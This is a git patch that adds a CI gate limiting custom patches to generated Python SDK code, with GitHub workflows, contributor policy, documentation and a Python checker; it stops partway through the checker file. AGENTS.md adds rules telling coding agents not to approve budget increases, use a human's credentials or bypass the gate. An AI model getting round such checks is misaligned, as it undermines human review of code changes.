+}
From 5daacfb6ff912445c23f9f9c9b3ab8394ef4e6c5 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 15:24:02 +0000
Subject: [PATCH 066/341] ci: catch accidental growth in Python SDK custom
patches (#3715)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
A small SDK diff can hide a large patch against generated output. Add a
custom-code gate that counts custom additions and deletions together,
using the budget and checker already on `main`.
Extend the existing two custom-code workflows and reuse their trusted
report—no new workflows or compiler changes. Keep the report comment
available when the gate fails, preserve default CODEOWNERS, and require
a separate justified, human-reviewed PR for budget increases.
Budget-only #3714 is merged; this PR is rebased onto `main`. Enable
`Castiron / budget-only change` and `Castiron / custom-code budget` only
after the tooling is on `main` and the rollout checks in
`scripts/castiron/CUSTOM_CODE.md` pass, retaining the required merge
queue. `AGENTS.md` and `CONTRIBUTING.md` contain the agent rules and
contributor policy and link to those technical details. This PR does not
activate repository rules or enable auto-merge.
---
.../castiron-custom-code-comment.yml | 111 ++-
.github/workflows/castiron-custom-code.yml | 20 +-
AGENTS.md | 10 +
CONTRIBUTING.md | 17 +
scripts/castiron/CUSTOM_CODE.md | 117 ++++
scripts/castiron/custom_code_budget.py | 430 ++++++++++++
scripts/castiron/test_custom_code_budget.py | 639 ++++++++++++++++++
7 files changed, 1337 insertions(+), 7 deletions(-)
create mode 100644 scripts/castiron/CUSTOM_CODE.md
create mode 100644 scripts/castiron/custom_code_budget.py
create mode 100644 scripts/castiron/test_custom_code_budget.py
diff --git a/.github/workflows/castiron-custom-code-comment.yml b/.github/workflows/castiron-custom-code-comment.yml
index dabe1b3817..e7218bcae0 100644
--- a/.github/workflows/castiron-custom-code-comment.yml
+++ b/.github/workflows/castiron-custom-code-comment.yml
@@ -15,7 +15,7 @@ concurrency:
jobs:
compute:
name: Compute trusted custom-code report
- if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.path == '.github/workflows/castiron-custom-code.yml'
+ if: contains(fromJSON('["pull_request", "merge_group"]'), github.event.workflow_run.event) && github.event.workflow_run.path == '.github/workflows/castiron-custom-code.yml'
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
@@ -26,15 +26,20 @@ jobs:
number: ${{ steps.report.outputs.number }}
artifact-id: ${{ steps.artifact.outputs.artifact-id }}
artifact-run-attempt: ${{ github.run_attempt }}
+ base-sha: ${{ steps.budget.outputs.base_sha }}
+ head-sha: ${{ steps.budget.outputs.head_sha }}
+ isolation: ${{ steps.budget.outputs.isolation }}
+ budget: ${{ steps.budget.outputs.budget }}
steps:
- name: Check out the trusted reporter
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
- ref: ${{ github.workflow_sha }}
+ ref: main
persist-credentials: false
- name: Compute from the current pull request Git objects
id: report
+ if: github.event.workflow_run.event == 'pull_request'
env:
GH_TOKEN: ${{ github.token }}
GIT_CONFIG_COUNT: '2'
@@ -66,10 +71,110 @@ jobs:
if-no-files-found: error
retention-days: 7
+ # The prior step's report was computed here from
+ # Git objects by main's reporter, not downloaded from the candidate run.
+ - name: Evaluate main's custom-code budget
+ id: budget
+ if: always()
+ continue-on-error: true # A budget failure must not suppress the existing report comment.
+ env:
+ GH_TOKEN: ${{ github.token }}
+ REPOSITORY: ${{ github.repository }}
+ SOURCE_EVENT: ${{ github.event.workflow_run.event }}
+ GIT_CONFIG_COUNT: '2'
+ GIT_CONFIG_KEY_0: credential.helper
+ GIT_CONFIG_VALUE_0: ''
+ GIT_CONFIG_KEY_1: credential.https://github.com.helper
+ GIT_CONFIG_VALUE_1: '!gh auth git-credential'
+ run: |
+ trusted_sha=$(git rev-parse HEAD)
+ reuse=()
+ if [[ "$SOURCE_EVENT" == pull_request ]]; then
+ reuse=(--trusted-report-dir "$RUNNER_TEMP/castiron-custom-code")
+ fi
+ python3 -I scripts/castiron/custom_code_budget.py github \
+ --repository "$REPOSITORY" --event-path "$GITHUB_EVENT_PATH" \
+ --trusted-sha "$trusted_sha" --repo "$RUNNER_TEMP/castiron-objects.git" \
+ "${reuse[@]}" --out "$RUNNER_TEMP/custom-code-budget"
+
+ - name: Add the budget to the run summary
+ if: always()
+ run: |
+ if test -f "$RUNNER_TEMP/custom-code-budget/summary.md"; then
+ cat "$RUNNER_TEMP/custom-code-budget/summary.md" >> "$GITHUB_STEP_SUMMARY"
+ fi
+
+ - name: Upload trusted budget measurements
+ if: always()
+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
+ with:
+ name: custom-code-budget-${{ github.run_id }}-${{ github.run_attempt }}
+ path: ${{ runner.temp }}/custom-code-budget/
+ if-no-files-found: error
+ retention-days: 7
+
+ budget-status:
+ name: Publish custom-code budget checks
+ needs: compute
+ if: always() && !cancelled() && needs.compute.result != 'skipped'
+ runs-on: ubuntu-latest
+ timeout-minutes: 5
+ permissions:
+ contents: read
+ actions: read
+ pull-requests: read
+ statuses: write
+ steps:
+ # This workflow definition is from main. No candidate checkout/artifacts.
+ - name: Publish exact-head statuses after checking freshness
+ uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7
+ env:
+ BASE_SHA: ${{ needs.compute.outputs.base-sha }}
+ HEAD_SHA: ${{ needs.compute.outputs.head-sha }}
+ ISOLATION_RESULT: ${{ needs.compute.outputs.isolation }}
+ BUDGET_RESULT: ${{ needs.compute.outputs.budget }}
+ with:
+ script: |
+ const event = context.payload.workflow_run;
+ const {data: run} = await github.rest.actions.getWorkflowRun({...context.repo, run_id: event.id});
+ if (run.head_sha !== event.head_sha || run.run_attempt !== event.run_attempt ||
+ run.status !== 'completed' || run.path.split('@', 1)[0] !== '.github/workflows/castiron-custom-code.yml' ||
+ run.repository.full_name !== `${context.repo.owner}/${context.repo.repo}`) return;
+ const head = run.head_sha;
+ if (!/^[0-9a-f]{40}$/.test(head)) throw new Error('Invalid candidate SHA');
+ const {data: main} = await github.rest.git.getRef({...context.repo, ref: 'heads/main'});
+ const base = main.object.sha;
+ if (run.event === 'pull_request') {
+ const pulls = run.pull_requests.length ? run.pull_requests : await github.paginate(
+ github.rest.repos.listPullRequestsAssociatedWithCommit, {...context.repo, commit_sha: head});
+ const current = [];
+ for (const pull of pulls) {
+ const {data: pr} = await github.rest.pulls.get({...context.repo, pull_number: pull.number});
+ if (pr.state === 'open' && pr.head.sha === head && pr.base.sha === base &&
+ pr.base.ref === 'main' && pr.base.repo.full_name === `${context.repo.owner}/${context.repo.repo}`) current.push(pr);
+ }
+ if (current.length !== 1) return;
+ } else if (run.event !== 'merge_group' || !run.head_branch.startsWith('gh-readonly-queue/main/')) {
+ return;
+ }
+ const fresh = base === process.env.BASE_SHA && head === process.env.HEAD_SHA;
+ const url = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`;
+ for (const [name, result] of [
+ ['Castiron / budget-only change', process.env.ISOLATION_RESULT],
+ ['Castiron / custom-code budget', process.env.BUDGET_RESULT],
+ ]) {
+ const state = fresh && result === 'success' ? 'success' : 'failure';
+ const description = !fresh ? 'Evaluation unavailable or base changed; rerun against current main.'
+ : state === 'success' ? 'Passed against main policy. See the trusted run summary.'
+ : 'Budget check failed. See the trusted run summary.';
+ await github.rest.repos.createCommitStatus({...context.repo, sha: head, context: name,
+ state, description, target_url: url});
+ }
+
comment:
name: Update custom-code comment
needs: compute
- if: always() && !cancelled() && (needs.compute.result == 'failure' || needs.compute.outputs.number != '')
+ if: always() && !cancelled() && github.event.workflow_run.event == 'pull_request' && (needs.compute.result == 'failure' || needs.compute.outputs.number != '')
runs-on: ubuntu-latest
timeout-minutes: 5
permissions:
diff --git a/.github/workflows/castiron-custom-code.yml b/.github/workflows/castiron-custom-code.yml
index ef23bfc8b1..51bd5149aa 100644
--- a/.github/workflows/castiron-custom-code.yml
+++ b/.github/workflows/castiron-custom-code.yml
@@ -3,20 +3,32 @@ name: Castiron custom code
on:
pull_request:
- types: [opened, synchronize, reopened, ready_for_review]
+ types: [opened, synchronize, reopened, ready_for_review, edited]
+ # Notify the existing trusted handler for queue candidates.
+ merge_group:
+ types: [checks_requested]
permissions:
contents: read
concurrency:
- group: castiron-custom-code-${{ github.event.pull_request.number }}
+ group: castiron-custom-code-${{ github.event.pull_request.number || github.event.merge_group.head_ref }}
cancel-in-progress: false
env:
REPORTER_SHA256: ac48ca88e9f7ad57195038157e99f055c0cd3dac8de856e4d102dca807766d4a
jobs:
+ queue-signal:
+ if: github.event_name == 'merge_group'
+ runs-on: ubuntu-latest
+ timeout-minutes: 1
+ permissions: {}
+ steps:
+ - run: echo 'The workflow_run handler on main evaluates this candidate independently.'
+
report:
+ if: github.event_name == 'pull_request'
name: Castiron / baseline consistency
runs-on: ubuntu-latest
timeout-minutes: 10
@@ -44,8 +56,8 @@ jobs:
- name: Verify the reporter matches its generated workflow
run: printf '%s %s\n' "$REPORTER_SHA256" scripts/castiron/custom_code_report.py | sha256sum --check --strict
- - name: Test hash mismatch and snapshot isolation
- run: python3 -m unittest discover -s scripts/castiron -p test_custom_code_report.py
+ - name: Test snapshot isolation and the custom-code budget
+ run: python3 -m unittest discover -s scripts/castiron -p 'test_custom_code*.py'
- name: Validate the codegen hash and report custom code
env:
diff --git a/AGENTS.md b/AGENTS.md
index c6547bd2d0..5bcdb9fb61 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -7,6 +7,16 @@ changing generated files. Handwritten policy, automation, tests, and examples
should remain small and should not alter exported SDK APIs unless the change
explicitly requires it.
+## Custom-code budget
+
+Follow [the custom-code guidance](scripts/castiron/CUSTOM_CODE.md). Budget changes
+belong in a separate PR containing only `.castiron-ratchet.json`, with an explicit justification
+in the PR description. Increases require a **human approving review** before merging.
+Agents may investigate and draft proposals, but must not approve budget increases
+(including through a human's credentials) or bypass the gate. Do not weaken
+counting, broaden exclusions, or alter generation metadata to make a change pass.
+The checker and effective budget come from main, not the PR. Keep default CODEOWNERS.
+
## Security requirements for coding agents
- Never commit real API or admin keys, bearer tokens, webhook secrets, cloud
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 9e215de1ac..b3cf767549 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -81,6 +81,23 @@ Most of the SDK is generated code. Modifications to code will be persisted betwe
result in merge conflicts between manual patches and changes from the generator. The generator will never
modify the contents of the `src/openai/lib/` and `examples/` directories.
+## Custom-code budget
+
+The custom-code budget counts additions plus deletions in the remaining patch
+against verified generated output. `.castiron-ratchet.json` defines this repository's
+ceiling. CI uses the checker and budget on main, not the PR's proposed versions.
+
+Budget changes must be in a separate PR modifying **only `.castiron-ratchet.json`**.
+Justify the current usage, proposed ceiling, and why fixing generation is not
+appropriate in the PR description. Increases require a **human approving review**
+and must merge before an SDK change relies on them. Agents may draft proposals,
+but must not approve increases or bypass the gate. Keep default CODEOWNERS.
+Lower the ceiling after cleanup while retaining headroom; decreases must still
+fit the measured usage.
+
+See [custom-code technical details](scripts/castiron/CUSTOM_CODE.md) for accounting,
+local checks, trusted CI, and activation instructions.
+
## Security requirements for contributions
- Never commit API or admin keys, bearer tokens, webhook secrets, cloud
diff --git a/scripts/castiron/CUSTOM_CODE.md b/scripts/castiron/CUSTOM_CODE.md
new file mode 100644
index 0000000000..2e819baf58
--- /dev/null
+++ b/scripts/castiron/CUSTOM_CODE.md
@@ -0,0 +1,117 @@
+# Custom code
+
+The custom-code reporter measures the SDK's remaining customization of generated
+files. The budget gate checks that measurement against the repository's policy.
+See [CONTRIBUTING.md](../../CONTRIBUTING.md#custom-code-budget) for budget changes
+and human review, and [AGENTS.md](../../AGENTS.md#custom-code-budget) for agent rules.
+
+## What is counted
+
+The budget is **added lines plus deleted lines in the entire current custom patch**
+against the candidate's verified pure-generated snapshot. It is not the PR's diff
+against main, and additions and deletions never cancel. Replacing 500 generated
+lines with 500 handwritten lines costs 1,000 lines. Deleting a generated file
+counts all its removed lines. Restoring generated content reduces the budget.
+
+The checker reuses `scripts/castiron/custom_code_report.py` without changing its
+snapshot/hash validation or generated-file ownership. It counts generated-owned
+files, including runtime code, tests, and generated documentation. Wholly
+handwritten-only files are outside this existing report's scope. Changes in
+generation ownership remain visible in the report; do not change exclusions or
+checkpoints to hide customization. Non-text custom patches fail as uncountable.
+
+The ceiling is defined in [`.castiron-ratchet.json`](../../.castiron-ratchet.json).
+The policy file contains only an integer `schema_version` (currently 1) and a
+nonnegative integer `max_custom_patch_lines`. Missing, deleted, renamed, executable, symlinked,
+malformed, or unsupported policy files fail closed. There is no disable flag or
+automatic budget update command.
+
+Budget-file isolation is checked against the complete PR diff, not just its latest
+commit. Increases never apply to their own PR or merge group. Decreases must also
+fit the measured usage. Human approval is contributor and agent policy plus normal
+review, not an automated claim that GitHub can identify who operated an account.
+
+## Trusted CI
+
+The custom-code workflow pair separates candidate execution from trusted checks:
+
+- `castiron-custom-code.yml` runs proposed offline tests and the advisory report
+ on `pull_request` with read-only permissions.
+- `castiron-custom-code-comment.yml` handles `workflow_run` from **main**. Its
+ read-only compute job runs main's reporter against candidate Git objects in a
+ new bare repository, then reuses that verified report to check main's budget.
+ It never checks out, imports, installs, or executes candidate code.
+- An unprivileged `merge_group` job in the first workflow only signals that a candidate
+ needs checking. A `workflow_run` handler whose **workflow definition is on
+ main** then uses the same trusted checkout. It ignores the signal's conclusion
+ and artifacts, verifies the run and queue membership through GitHub and commit
+ ancestry, checks isolation per constituent PR, and measures the complete merged
+ candidate against actual main. A budget PR queued in the same group cannot
+ grant the SDK PR a higher limit.
+
+A separate publisher with no checkout attaches these statuses to the exact PR
+head or merge-group SHA, after rechecking head/base freshness:
+
+- `Castiron / budget-only change`
+- `Castiron / custom-code budget`
+
+The policy is read from the current base commit, not the PR or its merge base.
+Reporter changes in a PR cannot change the checker executing on that PR. Missing
+snapshots, invalid hashes, unavailable queue membership, and policy errors fail
+closed. If main moves during evaluation, rerun the workflow; reruns check out the
+new main. PR-head statuses are feedback at a point in time: a main update alone
+does not rerun them. The checker therefore fails unless main has an effective
+**require merge queue** rule. The queue must recheck combined usage against current
+main before merging; do not replace that protection with PR-head statuses alone.
+
+The queue signal cannot supply a passing result, and removing it leaves required
+statuses missing. No write-capable job executes from the candidate's workflow
+definition. See GitHub's [workflow_run trust model](https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows#workflow_run)
+and [merge-queue behavior](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue).
+
+The trusted run summary reports additions, deletions, total, mixed-file count,
+headroom, largest patches, and exact policy/candidate/generated revisions. The
+existing custom-code comment remains unchanged, including when the budget fails.
+The trusted compute job reuses its own report, never the candidate's artifacts.
+The checker, policy, and workflows are maintained in the SDK and preserved
+through the normal three-way merge during generation.
+
+## Local verification
+
+Run from the SDK repository with Python 3.10+; no SDK dependencies are needed:
+
+```sh
+python3 -m unittest discover -s scripts/castiron -p 'test_custom_code*.py'
+```
+
+Use a **trusted checkout's** script to inspect committed revisions:
+
+```sh
+python3 -I scripts/castiron/custom_code_budget.py check \
+ --repo /path/to/sdk --base FULL_MAIN_SHA --head FULL_CANDIDATE_SHA \
+ --public --fetch --out /tmp/custom-code-budget
+```
+
+The inspected repo's `origin` must match its snapshot source. Omit `--public`
+for the private SDK repository's checkpoints. Local checks are diagnostic; CI
+independently binds main and the candidate to live GitHub metadata.
+
+## Activation order
+
+1. Merge the initial budget policy in its budget-only PR after human review.
+2. Merge the tooling and guidance separately. Do not enable required
+ statuses before the policy and trusted checker exist on main. There is no
+ permanent bootstrap exemption in the checker.
+3. Exercise a passing PR, over-budget PR, mixed budget/code PR, a fork PR, and a
+ merge-queue candidate. Policy increases must still use the old limit.
+4. Have a human administrator retain/enable **require merge queue** and add both
+ exact status names above to the main ruleset, bound to GitHub Actions. Retain
+ normal review and CODEOWNERS settings. Exercise a main-policy decrease after
+ an unchanged PR head passed, and confirm its queued candidate uses the new limit.
+ The tests job is separate from these authoritative statuses.
+
+This is an accidental-change guardrail, not an adversarial approval boundary.
+Workflow definitions and ruleset changes still have the normal repository review
+and administrator controls; GitHub Actions status names alone are not a unique
+workflow identity. Stronger organization-required workflow enforcement can be
+added later.
diff --git a/scripts/castiron/custom_code_budget.py b/scripts/castiron/custom_code_budget.py
new file mode 100644
index 0000000000..e131d9a5a3
--- /dev/null
+++ b/scripts/castiron/custom_code_budget.py
@@ -0,0 +1,430 @@
+#!/usr/bin/env python3
+"""SDK custom-code budget gate. Run only from a trusted checkout, never PR code.
+
+Reuses Castiron's vendored snapshot verifier and generated-file accounting. This
+file and its workflow are maintained in the SDK repository.
+"""
+
+from __future__ import annotations
+
+import argparse
+import html
+import importlib.util
+import json
+import os
+import subprocess
+import sys
+from pathlib import Path
+from typing import Any, cast
+
+# Explicitly load the reporter beside this trusted script, including under python -I.
+# The inspected repository is only a Git object store, not a Python import path.
+_spec = importlib.util.spec_from_file_location(
+ "castiron_budget_reporter", Path(__file__).with_name("custom_code_report.py")
+)
+assert _spec is not None and _spec.loader is not None
+report = importlib.util.module_from_spec(_spec)
+sys.modules[_spec.name] = report
+_spec.loader.exec_module(report)
+
+POLICY = ".castiron-ratchet.json"
+ISOLATION_MESSAGE = (
+ "Budget changes require a separate, budget-only PR. "
+ "Put the justification in the PR description."
+)
+
+
+def unique_keys(pairs: list[tuple[str, Any]]) -> dict[str, Any]:
+ value: dict[str, Any] = {}
+ for key, item in pairs:
+ if key in value:
+ raise ValueError(f"duplicate policy key: {key}")
+ value[key] = item
+ return value
+
+
+def read_budget(repo: Path, revision: str) -> int:
+ revision = report.require_sha(revision)
+ entry = report.git(repo, "ls-tree", revision, "--", POLICY).split()
+ if len(entry) != 4 or entry[:2] != [b"100644", b"blob"]:
+ raise ValueError(f"{POLICY} must exist as a regular, non-executable file at {revision}")
+ if int(report.git(repo, "cat-file", "-s", entry[2].decode())) > 4096:
+ raise ValueError("budget file exceeds 4096 bytes")
+ value = json.loads(
+ report.git(repo, "show", f"{revision}:{POLICY}"), object_pairs_hook=unique_keys
+ )
+ if not isinstance(value, dict):
+ raise ValueError("budget file must be an object")
+ value = cast(dict[str, Any], value)
+ if set(value) != {"schema_version", "max_custom_patch_lines"}:
+ raise ValueError("budget file must contain only schema_version and max_custom_patch_lines")
+ if type(value["schema_version"]) is not int or value["schema_version"] != 1:
+ raise ValueError("unsupported budget schema_version")
+ limit = value["max_custom_patch_lines"]
+ if type(limit) is not int or limit < 0:
+ raise ValueError("max_custom_patch_lines must be a nonnegative integer")
+ return limit
+
+
+def changed_paths(repo: Path, base: str, head: str) -> set[bytes]:
+ """Use the entire PR diff, not its last commit or a truncated API file list."""
+ start = (
+ report.git(repo, "merge-base", report.require_sha(base), report.require_sha(head))
+ .decode()
+ .strip()
+ )
+ return set(
+ report.git(
+ repo,
+ "diff",
+ "--name-only",
+ "-z",
+ "--no-renames",
+ "--no-ext-diff",
+ "--no-textconv",
+ start,
+ head,
+ "--",
+ ).split(b"\0")
+ ) - {b""}
+
+
+def check_isolation(repo: Path, base: str, head: str) -> int | None:
+ # Validate even if the policy was removed by an earlier commit in this PR.
+ proposed = read_budget(repo, head)
+ paths = changed_paths(repo, base, head)
+ if POLICY.encode() not in paths:
+ return None
+ if paths != {POLICY.encode()}:
+ raise ValueError(ISOLATION_MESSAGE)
+ return proposed
+
+
+def count_custom_lines(result: dict[str, Any]) -> tuple[int, int]:
+ if result.get("status") != "ok":
+ raise ValueError("custom-code report could not verify the generated baseline")
+ added = removed = 0
+ for file in result["files"]:
+ if not file["custom_after"]:
+ continue
+ counts = [file["added"], file["removed"]]
+ if any(not isinstance(n, str) or not n.isascii() or not n.isdecimal() for n in counts):
+ raise ValueError(f"cannot count non-text customization: {file['path']}")
+ added += int(counts[0])
+ removed += int(counts[1])
+ return added, removed
+
+
+def outcome(state: str, description: str) -> dict[str, str]:
+ return {"state": state, "description": description}
+
+
+def evaluate(
+ repo: Path,
+ base: str,
+ head: str,
+ *,
+ public: bool,
+ fetch: bool = False,
+ pull_heads: list[str] | None = None,
+ measurement: tuple[dict[str, Any], bytes] | None = None,
+) -> tuple[dict[str, Any], bytes]:
+ """In a queue, isolate each PR but budget the complete merged candidate."""
+ base, head = report.require_sha(base), report.require_sha(head)
+ result: dict[str, Any] = {"base_sha": base, "head_sha": head, "checks": {}}
+ checks = result["checks"]
+ proposed_limits: list[int] = []
+ try:
+ read_budget(repo, base)
+ read_budget(repo, head)
+ if pull_heads is not None and not pull_heads:
+ raise ValueError("merge group has no verified constituent PRs")
+ for pr_head in pull_heads if pull_heads is not None else [head]:
+ proposed = check_isolation(repo, base, pr_head)
+ if proposed is not None:
+ proposed_limits.append(proposed)
+ checks["isolation"] = outcome(
+ "success", "Budget changes are isolated; human review is required for increases."
+ )
+ except (report.ReportError, ValueError, UnicodeError) as exc:
+ checks["isolation"] = outcome("failure", str(exc))
+
+ patch = b""
+ try:
+ limit = read_budget(repo, base)
+ result["limit"] = limit
+ measured, patch = (
+ measurement
+ if measurement is not None
+ else report.build_report(
+ repo,
+ base,
+ head,
+ public=public,
+ fetch=fetch,
+ require_head_hash=True,
+ )
+ )
+ added, removed = count_custom_lines(measured)
+ total = added + removed
+ result.update(
+ additions=added,
+ deletions=removed,
+ total=total,
+ mixed_files=measured["counts"]["after"],
+ generated=measured["after"],
+ files=measured["files"],
+ )
+ # Increases never apply to their own PR/group. Decreases must be viable too.
+ checked_limit = min([limit, *proposed_limits])
+ result["checked_limit"] = checked_limit
+ state = "success" if total <= checked_limit else "failure"
+ checks["budget"] = outcome(
+ state, f"+{added} / -{removed} = {total} custom lines; limit {checked_limit}."
+ )
+ except (report.ReportError, ValueError, UnicodeError, KeyError) as exc:
+ checks["budget"] = outcome("failure", str(exc))
+ return result, patch
+
+
+def write_result(out: Path, result: dict[str, Any], patch: bytes = b"") -> None:
+ out.mkdir(parents=True, exist_ok=True)
+ (out / "budget.json").write_text(json.dumps(result, indent=2, sort_keys=True) + "\n")
+ (out / "custom-code.patch").write_bytes(patch)
+ lines = ["## Custom-code budget", ""]
+ for name in ("isolation", "budget"):
+ check = result["checks"][name]
+ lines.append(f"- **{name}: {check['state']}** — {html.escape(check['description'])}")
+ if "total" in result:
+ lines += [
+ "",
+ f"Mixed files: **{result['mixed_files']}**. Base-budget headroom: **{result['limit'] - result['total']} lines**.",
+ ]
+ lines += [
+ "",
+ f"Policy: `{result['base_sha']}` · candidate: `{result['head_sha']}`.",
+ f"Verified generated snapshot: `{result['generated']['commit']}`.",
+ "",
+ "| Largest custom patches | Added | Deleted |",
+ "|---|---:|---:|",
+ ]
+ files = [f for f in result["files"] if f["custom_after"]]
+ for file in sorted(files, key=lambda f: int(f["added"]) + int(f["removed"]), reverse=True)[
+ :10
+ ]:
+ path = html.escape(file["path"]).replace("|", "|").replace("\n", "
")
+ lines.append(f"| {path} | {file['added']} | {file['removed']} |")
+ ownership = [f for f in result["files"] if f["category"] == "no_longer_generated"]
+ if ownership:
+ lines += ["", "**No longer generated (outside the current budget):**"]
+ lines += [f"- {html.escape(f['path'])}" for f in ownership]
+ lines += [
+ "",
+ "Budget increases require a separate budget-only PR, explicit justification, and a human approving review. Agents may not approve or bypass an increase.",
+ ]
+ summary = "\n".join(lines) + "\n"
+ (out / "summary.md").write_text(summary)
+ print(summary)
+
+
+def queued_entries(repository: str, branch: str) -> list[tuple[str, str]]:
+ """Query the actual queue; never infer PR membership from commit messages."""
+ owner, name = repository.split("/")
+ query = """query($owner:String!,$name:String!,$branch:String!,$cursor:String) {
+ repository(owner:$owner,name:$name) { mergeQueue(branch:$branch) {
+ entries(first:100,after:$cursor) {
+ nodes { pullRequest { headRefOid } headCommit { oid } }
+ pageInfo { hasNextPage endCursor }
+ }
+ } }
+ }"""
+ cursor = None
+ heads: list[tuple[str, str]] = []
+ while True:
+ response = report.api(
+ "POST",
+ "graphql",
+ {
+ "query": query,
+ "variables": {"owner": owner, "name": name, "branch": branch, "cursor": cursor},
+ },
+ )
+ entries = response["data"]["repository"]["mergeQueue"]["entries"]
+ for node in entries["nodes"]:
+ # Entries still awaiting preparation have no synthetic queue commit.
+ if node["headCommit"] is not None:
+ heads.append(
+ (
+ report.require_sha(node["pullRequest"]["headRefOid"]),
+ report.require_sha(node["headCommit"]["oid"]),
+ )
+ )
+ page = entries["pageInfo"]
+ if not page["hasNextPage"]:
+ return heads
+ if not page["endCursor"] or page["endCursor"] == cursor:
+ raise ValueError("invalid merge-queue pagination")
+ cursor = page["endCursor"]
+
+
+def github_evaluate(
+ repo: Path,
+ repository: str,
+ event: dict[str, Any],
+ trusted_sha: str,
+ trusted_report_dir: Path | None = None,
+) -> tuple[dict[str, Any], bytes]:
+ """Fetch data into a fresh bare repo; the executable checkout remains trusted."""
+ if not report.REPOSITORY.fullmatch(repository):
+ raise ValueError("invalid repository")
+ root = f"repos/{repository}"
+ metadata = report.api("GET", root)
+ if event["repository"]["full_name"] != repository:
+ raise ValueError("event repository mismatch")
+ branch = metadata["default_branch"]
+ main = report.require_sha(report.api("GET", f"{root}/git/ref/heads/{branch}")["object"]["sha"])
+ if report.require_sha(trusted_sha) != main:
+ raise ValueError("trusted checkout is stale; rerun against current main")
+ signal = event["workflow_run"]
+ run_id = signal["id"]
+ if type(run_id) is not int or run_id <= 0:
+ raise ValueError("invalid source run ID")
+ run = report.api("GET", f"{root}/actions/runs/{run_id}")
+ if (
+ run["head_sha"] != signal["head_sha"]
+ or run["repository"]["full_name"] != repository
+ or run["path"].split("@", 1)[0] != ".github/workflows/castiron-custom-code.yml"
+ or run["status"] != "completed"
+ or run["run_attempt"] != signal["run_attempt"]
+ ):
+ raise ValueError("unexpected or superseded source workflow run")
+ head = report.require_sha(run["head_sha"])
+ if run["event"] == "pull_request":
+ associated = run["pull_requests"] or report.api(
+ "GET", f"{root}/commits/{head}/pulls?per_page=100"
+ )
+ current: list[int] = []
+ for number in sorted({int(pr["number"]) for pr in associated}):
+ if number <= 0:
+ raise ValueError("invalid associated PR number")
+ pull = report.api("GET", f"{root}/pulls/{number}")
+ if (
+ pull["state"] == "open"
+ and pull["head"]["sha"] == head
+ and pull["base"]["repo"]["full_name"] == repository
+ and pull["base"]["ref"] == branch
+ and pull["base"]["sha"] == main
+ ):
+ current.append(number)
+ if len(current) != 1:
+ raise ValueError("source run must identify exactly one current PR targeting main")
+ elif run["event"] == "merge_group":
+ if not run["head_branch"].startswith(f"gh-readonly-queue/{branch}/"):
+ raise ValueError("queue signal does not target main")
+ else:
+ raise ValueError("unsupported budget event")
+ # PR statuses can outlive their base revision. Require the queue's fresh,
+ # combined candidate check before merging rather than relying on those alone.
+ rules = report.api("GET", f"{root}/rules/branches/{branch}")
+ if not any(rule["type"] == "merge_queue" for rule in rules):
+ raise ValueError("main must require a merge queue before activating the budget gate")
+ measurement = None
+ if trusted_report_dir is not None:
+ # Only the preceding main-branch step may supply this directory. Never
+ # download a candidate artifact here. Reuse its verified report and bare
+ # object store, avoiding a second snapshot fetch/hash/diff computation.
+ if run["event"] != "pull_request":
+ raise ValueError("only PR runs can reuse the trusted report")
+ measured = json.loads((trusted_report_dir / "report.json").read_text())
+ if measured["target_base_sha"] != main or measured["head_sha"] != head:
+ raise ValueError("trusted report is stale; rerun against current main")
+ if report.git(repo, "rev-parse", "--is-bare-repository").strip() != b"true":
+ raise ValueError("trusted report must use a bare object store")
+ measurement = (measured, (trusted_report_dir / "custom-code.patch").read_bytes())
+ else:
+ if repo.exists():
+ raise ValueError("Git object directory must be fresh")
+ subprocess.run(["git", "init", "--bare", str(repo)], check=True, capture_output=True)
+ report.git(repo, "remote", "add", "origin", f"https://github.com/{repository}.git")
+ report.git(repo, "fetch", "--quiet", "--no-tags", "origin", main, head)
+ pull_heads: list[str] | None = None
+ if run["event"] == "merge_group":
+ if report.git(repo, "merge-base", main, head).decode().strip() != main:
+ raise ValueError("merge group does not include current main; retry the current group")
+ pull_heads = []
+ entries = queued_entries(repository, branch)
+ if not any(queue_head == head for _, queue_head in entries):
+ raise ValueError("merge-group head is no longer in the current queue")
+ for candidate, queue_head in entries:
+ report.git(repo, "fetch", "--quiet", "--no-tags", "origin", queue_head)
+ ancestor = report.git(repo, "merge-base", queue_head, head).decode().strip()
+ if ancestor == queue_head:
+ report.git(repo, "fetch", "--quiet", "--no-tags", "origin", candidate)
+ pull_heads.append(candidate)
+ if not pull_heads:
+ raise ValueError("cannot verify merge-group PR membership; retry the current group")
+ return evaluate(
+ repo,
+ main,
+ head,
+ public=not metadata["private"],
+ fetch=True,
+ pull_heads=pull_heads,
+ measurement=measurement,
+ )
+
+
+def main() -> int:
+ parser = argparse.ArgumentParser(description=__doc__)
+ commands = parser.add_subparsers(dest="command", required=True)
+ local = commands.add_parser("check")
+ local.add_argument("--base", required=True)
+ local.add_argument("--head", required=True)
+ local.add_argument("--public", action="store_true")
+ local.add_argument("--fetch", action="store_true")
+ github = commands.add_parser("github")
+ github.add_argument("--repository", required=True)
+ github.add_argument("--event-path", type=Path, required=True)
+ github.add_argument("--trusted-sha", required=True)
+ github.add_argument("--trusted-report-dir", type=Path)
+ for command in (local, github):
+ command.add_argument("--repo", type=Path, required=True)
+ command.add_argument("--out", type=Path, required=True)
+ args = parser.parse_args()
+ try:
+ if args.command == "check":
+ result, patch = evaluate(
+ args.repo, args.base, args.head, public=args.public, fetch=args.fetch
+ )
+ else:
+ result, patch = github_evaluate(
+ args.repo,
+ args.repository,
+ json.loads(args.event_path.read_text()),
+ args.trusted_sha,
+ args.trusted_report_dir,
+ )
+ except (
+ report.ReportError,
+ ValueError,
+ OSError,
+ KeyError,
+ TypeError,
